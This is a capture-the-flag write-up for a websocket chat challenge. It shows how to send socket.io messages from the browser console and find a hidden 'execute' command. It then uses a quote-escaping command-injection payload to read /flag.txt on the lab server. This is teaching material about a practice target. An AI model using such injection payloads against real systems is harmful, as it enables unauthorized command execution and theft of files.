Advent of CTF - Challenge 23

“IRC”

Challenge

This challenge centers on the websocket technology. It is commonly used in chat systems and often requires that a programmer implements their own security.

What you will learn:

  • How to identify websockets
  • How to send your own messages

Solution   ATTACH

The challenge starts in a very unusual state; a blank screen with a send button.

challenge-start.png
Figure 1: Challenge start

You can send any type of textual message. In the DevTools, under network, there is an odd status response; 101. This means that a protocol switch was done. This request is no longer talking HTTP, but something else.

In the Response tab of the network entry the messages that are sent back and forth can be observed.

chats.png
Figure 2: WebSocket traffic

In the page source code it is clear that socket.io is used. The javascript can not be directly used in the DevTools, but copying the relevant parts from the index page to the console allows you to play with it from a Javascript environment.

While doing so you will notice this fragment. It shows that if the msg has a property called code it will do something different.

if (msg.command === "code") {
    $('#messages').append($('<li>').html("<pre>" + msg.message + "</pre>"));
} else {
    $('#messages').append($('<li>').text(msg.message));
}

Taking the plan from before; copy the socket creationg and the socket.on to the Javascript console.

var socket = io();

socket.on('chat message', function(msg){
  console.log(msg.command);
  if (msg.command === "code") {
    $('#messages').append($('<li>').html("<pre>" + msg.message + "</pre>"));
  } else {
    $('#messages').append($('<li>').text(msg.message));
  }
  window.scrollTo(0, document.body.scrollHeight);
});

The socket.emit can now be utilized to send messages to the chat application. This happens in a different request then the one of the first load, but due to our logic the output is still visible in the screen.

socket.emit('chat message', {message: "Hello from console"});
own-messages.png
Figure 3: DevTools shows the messages

As it became clear that there is a command property that can be set, lets add that to the message.

socket.emit('chat message', {command: "code", message: "Hello from console"});

It stands to reason that there are other command options as well, given the hint in the code. After a few attempts you will probably ask for help.

socket.emit('chat message', {command: "help", message: "Hello from console"});

The response is indeed very helpful; it lists the accepted command types.

Allowed message types are: help, execute and empty

The execute type stands out, so lets give that a try. As a message payload anything can be used at this point.

socket.emit('chat message', {command:"execute", message: "something"});

The result is somewhat surprising. It says that it encountered Invalid Base64.

Invalid BASE64

After a few experiments it is clear that the message needs to be a valid Base64 payload. In javascript this is done through btoa().

socket.emit('chat message', {command:"execute", message: btoa("something")});

The result gives a clear path to victory! A command is executed with the payload; ls 'something'. Obviously something does not exist, but it does provide a mechanism to get the flag.

ERR: Error: Command failed: /bin/ls 'something'
ls: something: No such file or directory

From here on in it becomes a standard command injection. From the tests it is clear the application does something like ls 'USERINPUT'. So the ' has to be escaped and then a new command can be entered, that reuses the ' at the end.

socket.emit('chat message', {command:"execute", message: btoa(".';cat '/flag.txt")});

After grabbing the points be sure to also grab the badge.

badge.png

Go back to the homepage.